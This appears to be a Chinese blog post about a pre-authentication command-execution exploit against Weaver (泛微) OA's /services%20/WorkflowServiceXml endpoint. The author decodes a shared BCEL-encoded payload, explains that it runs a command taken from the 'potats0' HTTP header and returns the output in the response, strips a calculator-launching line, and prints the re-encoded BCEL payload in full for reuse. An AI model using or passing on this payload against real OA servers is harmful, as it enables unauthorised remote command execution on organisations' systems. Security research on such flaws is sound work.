泛微OA前台命令执行/services%20/WorkflowServiceXml

0x01

在宽字节公众号,看到了关于/services%20/WorkflowServiceXml的分析文章,膜拜师傅,发现师傅的exp打了之后会弹计算器,估计是忘删了把,每发一次包就执行一次计算器还是有点难受的,针对这边文章做个记录吧,原理分析后面有空再补充,技术细节公众号已经写得比较详细了tql。

0x02

exp在宽字节星球有,我也没加,好穷,还是借别人的,这里不放了,需要的去星球取吧,肯定有好多好用的东西,不介意师傅们分享给我。
测试过程中发现了好多calc进程,怀疑是payload引起的。


image.png

直接对师傅写的执行命令的类查看,就是bcel编码的那一串,直接解码即可

            byte[] bytess = Utility.decode("$$BCEL$$...", true);
            FileOutputStream foss = new FileOutputStream(new File("C:\\Users\\xxx.class"));
            foss.write(bytess);

把解码得到的class再idea中打开,一来就感受到了大师傅的亲切问候fuckyou


image.png

上面代码的意思就是获取response,然后把执行命令的结果写到响应里,命令从header中potats0读取,造成弹计算器就是第一行的Runtime造成的,将起删掉,重新编译还原成bcel即可如下,使用方法不变,替换掉之前的bcel即可。

$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$ebw$d3d$Y$ffem$97$y$Llt$M$Wn$O$V$e8$80m$m$de$d8$Q$99$h$T$b0$h$97$ce$n$X$c5$y$7bY$c3$da$a4$q$e96$s$8a$X$bc$8b$e2$5dD$fd$e6$e1$f0M$bf$U$8e$i$3d$9c$a3$l$d4$3fJ$fc$bdm7$d7$b5$80$e9$e9$93$bc$cf$fb$dc$7f$cf$fb$q$7f$ff$f3$cbo$A$k$c5$P$3a$g$f0$9c$8e$q$86$q$Z$d6pP$c7$n$i$d6pDEJ$87$8a$R$V$cf$eb$Y$c5Q$v$f9$82$e4$i$d3p$5c$deO$e88$89$X$ryI$c3$v$V$_k$b0t$c41$a6$c1V1$aeA$a88$adc$CiI$i$jg0$a9$a3$N$Z$NYyw$r$f1$q$c9i8$ab$c2$d7$f1$m$C$V$a1$82$fa$5d$8e$eb$84$bb$VD$S$j$a3$K$a2$fd$de$b8P$d0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1$3a$roc$j$z$ad$c1$lX$8b$3f$d1$8e$OZ$9a$a5$adf$fc$84$cd$d8B_$ab$f1$p$b6$a2$Tu$b4y$V$5d$e8$a6$d7$j$b8$84m$d8N$8f$7d$7c$7f$3cB$5e$8c$k$3c$f2$3bYn$L$a7$f8$85$f4$Y$bft$cec$A$8f$93$a7$d1$df6$3c$81$t$J$d1uF$b1$T$3d$d0$e93$8a$5e$ec$a2$P$c2$83$a7$b0$9b$f7$a7$f9w$Q$bd$83$5bhT$b1GE$9f$8agT$f4$ab$Y$uR$3e$ef$z$d2A$V$cfB$e1$ea$O$f5$ff$87h$5dq5x$87$91Rk$8f$q$fb$a2T$ddO$87u8$f0$_$a7$i$p$ae$d9$J$A$A

参考链接

https://mp.weixin.qq.com/s/iTP9jBypsJEsSlAIaNOnhw

你可能感兴趣的:(泛微OA前台命令执行/services%20/WorkflowServiceXml)